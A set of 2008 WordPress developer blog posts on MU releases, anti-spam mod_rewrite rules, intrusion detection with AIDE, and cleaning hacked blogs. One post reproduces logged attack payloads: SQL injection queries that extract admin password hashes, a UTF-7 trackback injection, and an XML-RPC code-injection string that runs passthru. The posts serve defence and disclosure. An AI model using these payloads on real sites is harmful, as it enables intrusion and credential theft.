WordPress MU 2.6 beta 1

Edit: The release candidate is now online. Here’s the forum thread on it. Grab the zip file to test!

WordPress MU 2.6 beta 1 is now available. WordPress 2.6 is due for release shortly and it’s already on it’s third beta so it’s times for WordPress MU to be updated.

This release has many new features as well as a few security fixes. In his beta 1, beta 2 and beta 3 posts Ryan listed some of the main features, including post revisioning, gears support for faster loading, theme previews, better SSL support and much much more.

WordPress MU specific changes include:

  • The version number is being bumped to 2.6 rather than 1.6 because of version confusion. Minor MU versions will probably append a letter to the version.
  • Signup page now has a nonce to help defeat spammers.
  • Plugins in wp-content/plugins/ are version checked like in WordPress. mu-plugins isn’t covered just yet.
  • Major object cache changes.
  • And many more bug fixes. Check the timeline for a list of changes.

Download wordpress-mu-2.6-beta1.zip

More ways to stop spammers and unwanted traffic

Comment spammers, trackback spam, stupid bots and AVG linkscanner eating into your bandwidth and server resources? Here’s how to put a dent in their activities with a few mod_rewrite rules.

I hate those blogs that send me fake trackbacks and pingbacks. Unfortunately it’s impossible to stop but this morning I figured out a way of stopping some of them.

Look through the log files of your web server for the string ‘ “-” “-“‘. Lots of requests there aren’t there? I found 914 requests yesterday. Those are requests without a USER_AGENT or HTTP_REFERER and almost all of them are suspicious because they weren’t followed by requests for images, stylesheets. or Javascript files. Unfortunately the WordPress cron server also falls into this category so you need to filter out requests from your own server’s IP address.

This morning I checked up on a spam trackback that came in. This one came from 85.177.33.196:

URL: /xmlrpc.php
HTTP_RAW_POST_DATA: <?xml version=”1.0″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://7wins. eu/cbprod/detail_10347/cure+your+tight+foreskin.html</string></value>
</param>
<param>
<value><string>http://ocaoimh.ie/2005/03/01/i-am-bored-sites-for-when-youre-bored/all-comments/</string></value>
</param>
</params>
</methodCall>

I looked through my log files for that IP address and discovered the following:

85.177.33.196 – – [03/Jul/2008:06:40:01 +0000] “GET /2005/02/18/10-more-ways-to-make-money-with-your-digital-cameras/ HTTP/1.0” 200 36151 “-” “-”
85.177.33.196 – – [03/Jul/2008:07:04:18 +0000] “GET /2007/06/07/im-not-the-only-one-to-love-the-alfa-147/ HTTP/1.0” 200 44967 “-” “-”
85.177.33.196 – – [03/Jul/2008:08:09:40 +0000] “GET /2005/03/01/i-am-bored-sites-for-when-youre-bored/all-comments/ HTTP/1.0” 200 410423 “-” “-”
85.177.33.196 – – [03/Jul/2008:08:09:44 +0000] “POST /xmlrpc.php HTTP/1.0” 200 249 “-” “XML-RPC for PHP 2.2.1”
85.177.33.196 – – [03/Jul/2008:09:00:09 +0000] “GET /2007/10/28/what-time-is-it-wordpress/ HTTP/1.0” 200 63332 “-” “-“

So, the spammer grabs “/2005/03/01/i-am-bored-sites-for-when-youre-bored/all-comments/” at 8:09am and 4 seconds later sends a trackback spam to the same blog post. Annoying isn’t it?

The following mod_rewrite rules will kill those fake GET requests dead.

# stop requests with no UA or referrer
RewriteCond %{HTTP_REFERER} ^$
Rewritecond %{HTTP_USER_AGENT} ^$
RewriteCond %{REMOTE_ADDR} !^64\.22\.71\.36$
RewriteRule ^(.*) – [F]

Replace “64\.22\.71\.36” with the IP address of your own server. If you don’t know what it is, look through your logs for requests for wp-cron.php, run ifconfig from the command line, or check with your hosting company.
Here are a few of the requests already stopped this morning:

72.21.40.122 – – [03/Jul/2008:09:59:59 +0000] “GET /2005/04/02/photo-matt-a-response-to-the-noise/ HTTP/1.1” 403 248 “-” “-”
216.32.81.66 – – [03/Jul/2008:10:00:11 +0000] “GET /2006/12/14/bupa-to-leave-irish-market/ HTTP/1.1” 403 240 “-” “-”
66.228.208.166 – – [03/Jul/2008:10:03:18 +0000] “GET /2008/05/23/youre-looking-so-silly-wii-fit HTTP/1.1” 403 212 “-” “-”
216.32.81.74 – – [03/Jul/2008:10:04:52 +0000] “GET /1998/03/22/for-the-next-month-o/ HTTP/1.1” 403 234 “-” “-”
69.46.20.87 – – [03/Jul/2008:10:06:06 +0000] “GET /2006/10/01/killing-off-php/ HTTP/1.1” 403 229 “-” “-”
72.21.58.74 – – [03/Jul/2008:10:07:54 +0000] “GET /2005/08/12/thunderbird-feeds-and-messages-duplicates/ HTTP/1.1” 403 255 “-” “-“

Some spam bots are stupid. They don’t know where your wp-comments-post.php is. That’s the file your comment form feeds when a comment is made. If your blog is installed in the root, “/”, of your domain you can add this one line to stop the 404 requests generated:

RewriteRule ^(.*)/wp-comments-post.php – [F,L]

Trackbacks and pingbacks almost always come from sane looking user agents. They usually have the blog or forum software name to identify them. Look for “/trackback/” POSTs in your logs. Notice how 99% of them have browser names in them? Here’s how to stop them, and this has been documented for a long time:

RewriteCond %{HTTP_USER_AGENT} ^.*(Opera|Mozilla|MSIE).*$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteCond %{REQUEST_METHOD} ^POST$
RewriteRule ^(.*)/trackback/ – [F,L]

I’ve been using that chunk of code for ages. It works exceptionally well. This was prompted by a deluge of 40,000 spam trackbacks this site received in one day a few months ago.

If you use my Cookies for Comments plugin. Check your browser for the cookie it leaves and use the following code to block almost all of your comment spam:

RewriteCond %{HTTP_COOKIE} !^.*put_cookie_value_here.*$
RewriteRule ^wp-comments-post.php – [F,L]

That will block the spammers even before they hit any PHP script. Your server will breeze through the worst spam attempts. It blocked 2308 comment spam attempts yesterday. Unfortunately it also stops the occasional human visitor leaving a comment but I think it’s worth it.

Do something different. That’s what you have to do. Place a hurdle before the spammers and they’ll fall. On that note, I shouldn’t really be blogging all this, but almost all these ideas can be found elsewhere already and the spammers still haven’t adapted.

Unwanted traffic? What’s that? Surely all visitors are good? Nope, unfortunately not. Robert alerted me to the fact that AVG anti-virus now includes an AJAX powered browser plugin called “Linkscanner” that scans all the links on search engine result pages for viruses and malicious code. Unfortunately that generates a huge number of requests for pages that are never even seen by the visitor. I counted over 7,000 hits yesterday.

Thankfully Padraig Brady has a solution. I hope he doesn’t mind if I reprint his mod_rewrite rules here (unfortunately WordPress changes the ” character so you’ll have to change them back, or grab the code from Padraig’s page.)

#Here we assume certain MSIE 6.0 agents are from linkscanner
#redirect these requests back to avg in the hope they’ll see their silliness
Rewritecond %{HTTP_USER_AGENT} “.*MSIE 6.0; Windows NT 5.1; SV1.$” [OR]
Rewritecond %{HTTP_USER_AGENT} “.*MSIE 6.0; Windows NT 5.1;1813.$”
RewriteCond %{HTTP_REFERER} ^$
RewriteCond %{HTTP:Accept-Encoding} ^$
RewriteRule ^.* http://www.avg.com/?LinkScannerSucks [R=307,L]

WordPress Exploit Scanner 0.1

My previous post about hacked WordPress sites caused Donnacha to ask,

After your last post on this subject, I was thinking that it would be a good idea for Automattic to create a plugin that carries out all the checks you suggested people do to find out if they’ve been hacked…

At the time I wasn’t too optimistic about it but after thinking about the idea for a few days I came up with the WordPress Exploit Scanner which does most of what Donnacha wanted.

This WordPress plugin searches the files on your site for a few known strings sometimes used by hackers, and lists them with code fragments taken from the files. It also makes a few checks of the database, looking at the active_plugins blog option, the comments table, and the posts table.
It also allows the blog owner to search for whatever string they like which could come in handy when new exploit code is used in a hack.

You must be running WordPress 2.5.1 or higher to use this plugin. There’s not much point in finding exploited files if you’re running an old version of the software that can be broken into again.

Download the plugin from here: WordPress Exploit Scanner

Thanks to those who tested the plugin, especially Cathal Garvey who provided some great feedback!

Catch website file changes with AIDE

A week ago I suggested installing AIDE to track changes on your server in case it had been hacked. I think AIDE Is so useful that it deserves a post of it’s own. Here’s a short guide to get it working properly.

The AIDE .deb package includes configuration files for over 80 different software packages or log files. That’s great if you have all that software installed or want to keep a paranoid eye on /var but what if you only care about the directory where your website lives?

When I first installed AIDE (using apt-get install aide), it said I needed to run /usr/sbin/aideinit after installation. Every morning I’d get an email from AIDE with a list of changed files from all over my server, including mail logs, Apache logs, and more. I didn’t need all that so I removed the files from /etc/aide.conf.d/ except my WordPress config file:

/home/web/ Checksums
!/home/web/logs/.*
!/home/web/public_html/wp-content/cache/.*
!/home/web/.*/htdocs/wp-content/cache/.*

Unfortunately after I removed the configuration files the daily AIDE email was flooded with open_dir() errors:

Output is 40577 lines, truncated to 1000.
open_dir():Not a directory: /home/donncha/.bashrc
open_dir():Not a directory: /home/donncha/.bash_profile
open_dir():Not a directory: /home/donncha/.viminfo
open_dir():Not a directory: /home/donncha/.bash_history

AIDE was rendered useless by all the errors. Thankfully it was easy to fix. Run aideinit again and it regenerates the AIDE database.

# /usr/sbin/aideinit
Overwrite existing /var/lib/aide/aide.db.new [Yn]? y
Running aide –init…

AIDE, version 0.13.1

### AIDE database at /var/lib/aide/aide.db.new initialized.

Overwrite /var/lib/aide/aide.db [yN]? y

For good measure, I ran /etc/cron.daily/aide again which sent me the “Daily AIDE report”, and yes, it reported that my .htaccess file had been changed. Nice.

If your site is on a shared hosting account then you’re out of luck, but if you have a dedicated host, or virtual private server (VPS) then please consider using AIDE to keep track of changed files. It will send you a short email every day listing changed, added or deleted files. It may save you a lot of hassle and embarrassment if your site is hacked.

Edit: By default, the nightly cron script doesn’t update the AIDE database leading to the same files changes reported every day. Edit /etc/default/aide and make sure COPYNEWDB is set to “yes”. That will update the database.

Did your WordPress site get hacked?

Remember a few weeks ago there was all that noise about WordPress blogs getting hacked? Remember how everyone was urged to upgrade their blogs. You did upgrade didn’t you? No? It was inevitable that you’d be hacked. If you haven’t been hacked yet, it’s only a matter of time.

Unfortunately for some who did upgrade, it was too late. The hacker slimeballs may have known about the security issues before we did and went about their merry way breaking into blogs and websites, grabbing usernames and passwords, and planting backdoor scripts to log them in again at a later date.
That’s how even diligently upgraded blogs were hacked. The bad guys got there before you.

In the last week the hackers have started again. There is no zero day WordPress exploit. There is no evidence that version 2.5.1 of WordPress is vulnerable to any exploit at this time. They’re using the old exploits all over again. This time they’re redirecting hits from Google to your blog. Those hits are instead being redirected to your-needs.info and anyresult.net

If you’ve been hacked

  1. Upgrade to the latest version of WordPress.
  2. Make sure there are no backdoors or malicious code left on your system. This will be in the form of scripts left by the hacker, or modifications to existing files. Check your theme files too.
  3. Change your passwords after upgrading and make sure the hacker didn’t create another user.
  4. Edit your wp-config.php and change or create the SECRET_KEY definition. It should look like this, but do not use the same key or it won’t be very secret, will it?

    define(‘SECRET_KEY’, ‘1234567890’ );

Hidden Code

The bad guys are using a number of ways to hide their hacks:

  • The simplest way is hiding their code in your php scripts. If your blog directory and files are writable by the webserver then a hacker has free reign to plant their code anywhere they like. wp-blog-header.php seems to be one place. Theme files are another. When you upgrade WordPress your theme files won’t be overwritten so make sure you double check those files for any strange code that uses the eval() command, or base64_decode(). Here’s a code snippet taken from here:

    < ?php

    Another hack adds different code to your php files. Look for k1b0rg or keymachine.de in your php scripts and remove that offending code if you find it.

  • Check your .htaccess file in the root of you blog. If you’ve never edited it, it’ll should look like this:

    # BEGIN WordPress
    <ifmodule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </ifmodule>
    # END WordPress

    That file may have this chunk of code too which is to do with the uploader:

    <ifmodule mod_security.c>
    <files async-upload.php>
    SecFilterEngine Off
    SecFilterScanPOST Off
    </files>
    </ifmodule>

  • They’re also uploading PHP code disguised as jpeg files to your upload directory and adding those files to the activated plugins list. This makes it harder to find them, but not impossible:
    1. Open PHPMyAdmin and go to your blog’s options table and find the active_plugins record.
    2. Edit that record. It’s a long line. Scroll through it and you’ll find an entry that looks like ../uploads/2008/05/04/jhjyahjhnjnva.jpg. Remove that text, and make sure you remove the serialized array information for that array record. If that’s beyond you, just delete the active_plugins record and reactivate all your plugins again.
    3. Check your uploads directory for that jpg file and delete it.
    4. This Youtube video shows how to do that. I don’t think there’s any urgent need to remove the rss_* database record but it won’t hurt to do it.

Change Your Passwords

Once you’ve upgraded and verified that your install is clean again you must do the following:

  1. Change the passwords of all users on your system.
  2. Make sure the hacker hasn’t added another user account he can use to login again.

Stop the bad guys

One way of stopping the bad guys before they’ve done any major damage is by doing regular backups and installing an intrusion detection system (IDS).

  • I use Backuppc to backup all my servers every night, and a simple MySQL backup script to dump the database daily.
  • The first IDS that springs to mind is Tripwire but there are many others. I just installed AIDE to track changes on this server. What it does is give me a daily report on files that have changed in that period. If a hacker has changed a script or uploaded malicious code I’ll get an email within a day about it. It does take some fine tuning, but it’s easy to install on Debian systems (and presumably as easy on Ubuntu and Red Hat, and even Gentoo..):

    # apt-get install aide
    # vi /etc/aide/aide.conf.d/88_aide_web
    # /usr/sbin/aideinit

    In the configuration file above I put the following:

    /home/web/ Checksums
    !/home/www/logs/.*
    !/home/web/public_html/wp-content/cache/.*
    !/home/web/.*/htdocs/wp-content/cache/.*

    That will tell AIDE to track changes to my web server folders, but ignore the logs folder and cache folders.

Please Upgrade

There is absolutely no reason not to upgrade. WordPress is famous for it’s 5 minute install, but it takes time and effort to maintain it. If you don’t want the hassle of upgrading, or don’t know how to maintain it, why not get a hosted WordPress account at WordPress.com? Does the $10 you make from advertising every month really justify the time it takes to make sure your site, your writing, your photos and other media are safe? This isn’t an advert for WordPress.com, go with any blogging system you like, but don’t make life easy for the scum out there who’ll take over your out of date software and use it to their advantage.

Help a friend

Check the source code of the blogs you read. The version number in the header will quickly tell you if their version of WordPress is out of date or not. Please leave a comment encouraging them to upgrade! The version number looks like this:

<meta name=”generator” content=”WordPress 2.5.1″ /> <!– leave this for stats –>

What does a hack look like?

I perform logging on one of my test blogs and I come across all sorts of malicious attempts to break in. Attackers use dumb bots to do their bidding so a website will be hit with all sorts of attacks, even for software that’s not installed. The bots are so dumb they’ll even come back again and again performing the same attacks.

Here’s what I call the “ekibastos attack”. It happens over a number of requests and I’ve seen it come from 87.118.100.81 on a regular basis. It uses a user agent called, “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)” which strangely enough doesn’t show up on Google at all right now.

  1. First the attacker visits your Dashboard, and then without even checking if that was successful, he tries to access wp-admin/post.php several times using HEAD requests.
  2. Then he POSTs to wp-admin/admin-ajax.php with the following POST body:

    POST: Array
    (
    [cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132;
    )

  3. When that fails, he grabs xmlrpc.php.
  4. He then POSTs to that script, exploiting an old and long fixed bug. Here’s a snippet of the data.

    HTTP_RAW_POST_DATA: <?xml version=”1.0″?>

    <methodCall>

    <methodName>system.multicall</methodName>

    <params>

    <param><value><array><data>

    <value><struct>

    <member><name>methodName</name><value><string>pingback.extensions.getPingbacks</string></value></member>

    <member><name>params</name><value><array><data>

    <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

    </data></array></value></member></blockquote>

  5. That fails too so the query is repeated with similar SQL.

    <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

  6. Then he tries a trackback:

    URL: /wp-trackback.php?tb_id=1
    POST: Array
    (
    [title] => 1
    [url] => 1
    [blog_name] => 1
    [tb_id] => 666666\’
    [1740009377] => 1
    [496546471] => 1
    )

  7. And another trackback:

    URL: /wp-trackback.php?p=1
    POST: Array
    (
    [url] => ekibastos
    [title] => ekibastos
    [excerpt] => ekibastos
    [blog_name] => +AFw-\’)/*
    [charset] => UTF-7
    )

  8. Before finally going back to xmlrpc.php with this POST request:

    <?xml version=”1.0″?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>k1b0rg’ icq: 76-86-20</string></value></param>
    <param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param>
    <param><value><string>admin</string></value></param>
    </params>
    </methodCall>

  9. In between, he also tries the following GET requests:

    GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1
    GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1

  10. Thankfully I upgraded and all those attacks fail.

Those requests have been hitting me for months now with the latest happening 2 days ago. If that doesn’t convince you that you must upgrade and check your website, I don’t know what will.

PS. For completeness, here’s another common XMLRPC attack I see all the time. Ironically, this actually hit my server from 189.3.105.2 after I published this post.

<?xml version="1.0"?>

<methodCall>

<methodName>test.method

</methodName>

<params>

<param>

<value><name>','')); echo

'______BEGIN______';

passthru('id');

echo

'_____FIM_____';

exit;/*</name></value>

</param>

</params>

</methodCall>

Edit: Tripwire url fixed, thanks Callum

PS. If your site has been hacked, try the WordPress Exploit Scanner which will try to find any modified files and suspicious database records.

Fifty years with WordPress

Ah yes, them were the days when we had to type blog posts on quaint old keyboards. Can you imagine it? You actually had to write everything letter by letter. Today’s thought entry systems are so much more convenient don’t you think?

That there Matt fella is still the youngster he always was. He may not be quite as fast on his feet but that embedded camera in his skull sure takes some snazzy photos. My camera gives me a headache, especially when the lens doesn’t focus fast enough. Great to see that mind blog integration stuff working out for him though. I can’t believe blogging has come so far in such a short time.

Oh wait! Fifty? It’s only been five. Where have the years gone? Matt noticed that I officially joined the WordPress team 5 years ago today! At the time I was working on the predecessor to WordPress MU, b2++ that was running on Linux.ie Blogs. It was a sometimes hard slog. MU was always on the sidelines of the WordPress community and somehow it escaped the attention of the vast majority of people online. I noticed many surprised voices when people found out what was running on WordPress.com!

Two years later and Matt starts Automattic and I come on board to work on WordPress.com and I’ve never looked back. The GPL licensed WordPress and WordPress MU go from strength to strength.

As a final note on this rambling post, if you enjoy using WordPress, head over to gnu.org and read their philosophy page to find out what influences Matt and Alex and everyone else who contribute to GPLed software projects.

WordPress Stickers and Badges

WordPress Stickers and Badges

This was a nice surprise. While enjoying a lovely meal in the Castle Hotel in Blarney a courier rang me with a package. I wasn’t expecting anything but luckily he was close by and I met him in front of the local Garda station. Brimming with excitement I ripped open the package sending stickers and badges flying everywhere. Some landed in my burger, a few badges in my wife’s quiche and the baby grabbed a sticker or two before they fell on the ground.

No, I’m joking, but I did get a jiffy bag with a nice portrait of (most of) Automattic in Arizona and quite a few badges and stickers.

Before you ask, I’m not sending anyone any. I’ve already promised stickers to one person who’s been waiting a few months, and John probably thinks he’ll get his badges and stickers this year but I wouldn’t hold my breath if I was him. Sorry!
On the other hand, if I meet you on the street, I may have a supply of badges and stickers in my camera bag so don’t be afraid to ask. I will of course have badges and stickers to give out at the Doneraile photowalk next month. If you’re around the area, feel free to join us exploring and photographing Doneraile Park!

WordPress MU 1.5.1

The long delayed version 1.5.1 of WordPress MU has just been released. If you don’t want to read the rest of this post head to the download page and grab the zip file or tarball but make sure you come back here to read the upgrade docs.

This release of the popular multi-blog version of WordPress is synced with WordPress 2.5.1 and so has all the great features as well as bug and security fixes that went into that release.

Upgrading from a previous release
As long as you haven’t modified any core files, you can copy the files in 1.5.1 over your current install. Database upgrades will happen transparently in the background. The new salted hashing on passwords requires two constants, SECRET_KEY and SECRET_SALT to be defined in wp-config.php. If you upgrade and you don’t change wp-config.php your users will appear logged out when they go to a different blog. That’s why MU will display an ugly warning message to site admins with the two lines when they log in to the backend.

secret key

If you run into trouble, remember to check the forum and Trac. Someone else may have already answered your question.

WordPress MU 1.5 RC1

The first release candidate of the new WordPress MU 1.5 has just been released. The obvious major change is the new admin interface and password salting introduced in WordPress 2.5, but apart from them many bugs have been fixed.

There is also experimental support for CSS styles, something that has been missing from MU for quite some time due to XSS concerns. This function does the work of filtering out bad stuff and I would appreciate feedback, both positive and negative, especially with security concerns.

This release is quite stable, but there will probably be bugs still. Please only test it on a development server, and if you’re brave enough to put it live, make sure you have backed up everything first.

Check out the WordPress MU timeline for further information, and download the zip file here if you’d like to test it.

WP Super Cache 0.6.2

A few people stumbled across a strange bug in WP Super Cache. If your index.php was cached by the plugin then feeds or other pages that hadn’t been cached would show the front page!

A simple way to fix this is by adding “index.php” to the list of rejected URIs, but then it won’t be cached at all. This release fixes the problem but also allows index.php to be cached by the WP Cache engine, much better than excluding index.php completely.

Also included is a new feature that inserts your rewrite rules in a new .htaccess block. That will stop WordPress overwriting the rules after doing an upgrade, or after changing permalinks. The plugin won’t update your .htaccess if it finds the rules already in the “WordPress” section, but if you visit your permlinks options page and hit “Save Changes” the plugin rules will be deleted. Go to the WP Super Cache admin page where you can update the rules again. They’ll be inserted in a “WPSuperCache” block above the WordPress rule block.

If all that seems a bit technical, just go to your permalinks options page and hit “Save Changes” without changing anything, then update your rewrite rules on the Super Cache options page!

Go grab the plugin from the usual place.

I never saw this obscure problem because I redirect hits to /index.php to / using this mod_rewrite rule and php code. This used to help avoid duplicate content rules but I think Google is smarter now. It probably will help reduce pagerank dilution because all requests will go to one homepage url, rather than two.

.htaccess:
RewriteRule ^index\.html / [R=301,L]

wp-config.php:
if( $_SERVER[ 'REQUEST_URI' ] == '/index.php' ) {
    header( "Location: http://ocaoimh.ie/", 301 );
    die();
}

Thanks to Dax (NSFW text) who figured out the problem with index.php caching.